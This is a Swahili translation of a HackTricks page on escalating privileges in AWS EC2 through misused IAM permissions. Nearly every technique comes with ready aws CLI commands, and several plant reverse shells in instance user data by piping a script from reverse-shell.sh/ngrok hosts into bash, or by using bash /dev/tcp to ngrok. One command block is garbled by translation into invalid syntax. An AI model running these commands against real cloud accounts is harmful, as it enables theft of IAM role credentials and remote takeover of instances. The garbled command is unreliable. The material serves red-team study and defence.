AWS - EC2 Privesc

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

EC2

Kwa habari zaidi kuhusu EC2 angalia:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Mshambuliaji anaweza kuunda kipengee na kufunga jukumu la IAM kisha kupata kipengee ili kuiba siri za jukumu la IAM kutoka kwa mwisho wa metadata.

  • Upatikanaji kupitia SSH

Anzisha kipengee kipya ukitumia ufunguo wa ssh uliozalishwa (--key-name) kisha ingia ndani yake kupitia ssh (ikiwa unataka kuunda mpya unaweza kuhitaji idhini ya ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Upatikanaji kupitia rev shell katika data ya mtumiaji

Unaweza kuendesha kifaa kipya kutumia data ya mtumiaji (--user-data) ambayo itakutumia rev shell. Hauitaji kutaja kikundi cha usalama njia hii.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Kuwa makini na GuradDuty ikiwa utatumia siri za jukumu la IAM nje ya kifaa:

pageAWS - GuardDuty Enum

Athari Inayowezekana: Privesc moja kwa moja kwa jukumu lolote la EC2 lililounganishwa na maelezo ya kifaa yaliyopo.

Privesc kwenda ECS

Kwa seti hii ya ruhusa unaweza pia kuunda kifaa cha EC2 na kusajili ndani ya kikundi cha ECS. Kwa njia hii, huduma za ECS zitakimbia ndani ya kifaa cha EC2 ambapo una ufikiaji na kisha unaweza kuingia kwenye huduma hizo (makontena ya docker) na kuiba majukumu yao ya ECS yaliyounganishwa.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Ili kujifunza jinsi ya kufanya huduma za ECS zilishehuri kwenye kifaa kipya cha EC2 angalia:

pageAWS - ECS Privesc

Ikiwa hauwezi kuunda kifaa kipya lakini una idhini ya ecs:RegisterContainerInstance unaweza kujiandikisha kifaa ndani ya kikundi na kufanya shambulio lililoelezwa.

Matokeo Yanayowezekana: Privesc moja kwa moja kwa majukumu ya ECS yanayohusishwa na kazi.

iam:PassRole, iam:AddRoleToInstanceProfile

Kama kwenye kisa kilichopita, mshambuliaji mwenye idhini hizi angeweza kubadilisha jukumu la IAM la kifaa kilichoharibiwa ili aweze kuiba vibali vipya. Kwa kuwa wasifu wa kifaa unaweza kuwa na jukumu 1 tu, ikiwa wasifu wa kifaa tayari una jukumu (kawaida), utahitaji pia iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Ikiwa wasifu wa kifaa una jukumu na mshambuliaji hawezi kuiondoa, kuna njia nyingine. Anaweza kupata wasifu wa kifaa bila jukumu au kuunda mpya (iam:CreateInstanceProfile), ongeza jukumu kwa wasifu huo wa kifaa (kama ilivyoelezwa hapo awali), na unganishe wasifu wa kifaa uliingiliwa kwa kifaa kilichingiliwa:

  • Ikiwa kifaa hakina wasifu wowote wa kifaa (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwenda kwa jukumu tofauti la EC2 (unahitaji kuwa umeharibu kipengele cha AWS EC2 na idhini ya ziada au hadhi maalum ya wasifu wa kipengele).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Kwa idhini hizi, ni rahisi kubadilisha wasifu wa kipengele uliounganishwa na kipengele hivyo ikiwa shambulio tayari lilikuwa na ufikiaji wa kipengele anaweza kuiba siri za majukumu zaidi ya wasifu wa kipengele kwa kubadilisha ile iliyounganishwa nayo.

  • Ikiwa ina wasifu wa kipengele, unaweza kuondoa wasifu wa kipengele (ec2:DisassociateIamInstanceProfile) na kuunganisha *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • au badilisha maelezo ya mfano ya kifaa kilichoharibiwa (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
```swahili
aws ec2 badilisha-iam-instance-profile-association --iam-instance-profile Jina=<thamani> --association-id <thamani>
```
```

Athari Inayowezekana: Privesc moja kwa moja kwa jukumu tofauti la EC2 (unahitaji kuwa umeharibu kifaa cha AWS EC2 na idhini ya ziada au hali maalum ya wasifu wa kifaa).

ec2:RequestSpotInstances,iam:PassRole

Mshambuliaji mwenye idhini ya ec2:RequestSpotInstances na iam:PassRole anaweza kuomba Spot Instance na EC2 Role iliyowekwa na rev shell katika data ya mtumiaji. Marafiki kifaa kikianza, anaweza kuiba jukumu la IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Mshambuliaji mwenye ec2:ModifyInstanceAttribute anaweza kubadilisha sifa za mifano. Miongoni mwao, anaweza kubadilisha data ya mtumiaji, ambayo inamaanisha anaweza kufanya mifano kutekeleza data ya kupindukia. Ambayo inaweza kutumika kupata rev shell kwa kifaa cha EC2.

Tafadhali kumbuka kuwa sifa hizi zinaweza kubadilishwa wakati kifaa kimezimwa, hivyo ruhusa ec2:StopInstances na ec2:StartInstances zinahitajika.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Athari Inayowezekana: Privesc moja kwa moja kwa jukumu lolote la IAM la EC2 lililounganishwa na kifaa kilichoundwa.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Mshambuliaji mwenye ruhusa za ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplatena ec2:ModifyLaunchTemplate anaweza kuunda toleo jipya la Templeti ya Kuanzisha na rev shell ndani ya data ya mtumiaji na jukumu lolote la IAM la EC2 juu yake, kubadilisha toleo la msingi, na kikundi chochote cha Autoscaler kitumia Templeti hiyo ya Kuanzisha ambayo ime sanidiwa kutumia toleo la hivi karibuni au toleo la msingi litakalo zindua upya vipengele kutumia templeti hiyo na kutekeleza rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Matokeo Yanayowezekana: Privesc moja kwa moja kwa jukumu lingine la EC2.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Mshambuliaji mwenye ruhusa za autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole anaweza kuunda Mazingira ya Kuzindua na Jukumu la IAM na rev shell ndani ya data ya mtumiaji, kisha kuunda kikundi cha autoscaling kutoka kwa hilo usanidi na kusubiri rev shell kuiba Jukumu la IAM.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu tofauti la EC2.

!autoscaling

Seti ya ruhusa ec2:CreateLaunchTemplate na autoscaling:CreateAutoScalingGroup si za kutosha kwa kuinua upendeleo kwa jukumu la IAM kwa sababu ili kuambatisha jukumu lililoelezwa katika Mipangilio ya Uzinduzi au katika Kigezo cha Uzinduzi unahitaji ruhusa za iam:PassRole na ec2:RunInstances (ambayo ni privesc inayojulikana).

ec2-instance-connect:SendSSHPublicKey

Mshambuliaji mwenye ruhusa ec2-instance-connect:SendSSHPublicKey anaweza kuongeza ufunguo wa ssh kwa mtumiaji na kutumia kuifikia (ikiwa ana ufikiaji wa ssh kwa kifaa) au kuinua upendeleo.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Athari Inayowezekana: Privesc moja kwa moja kwa majukumu ya EC2 IAM yanayohusishwa na mifano inayotumika.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Mshambuliaji mwenye ruhusa ya ec2-instance-connect:SendSerialConsoleSSHPublicKey anaweza kuongeza ufunguo wa ssh kwa muunganisho wa serial. Ikiwa serial haijashirikishwa, mshambuliaji anahitaji ruhusa ya ec2:EnableSerialConsoleAccess kuwezesha.

Ili kuunganisha kwenye bandari ya serial, pia unahitaji kujua jina la mtumiaji na nenosiri la mtumiaji ndani ya kifaa.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Njia hii si ya manufaa sana kwa privesc kwani unahitaji kujua jina la mtumiaji na nenosiri ili kutumia udhaifu huo.

Athari Inayowezekana: (Inayoweza kuthibitishwa sana) Privesc moja kwa moja kwa majukumu ya EC2 IAM yanayohusishwa na mifano inayotumika.

Marejeo

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya HackTricks AWS)!

Njia nyingine za kusaidia HackTricks:

Last updated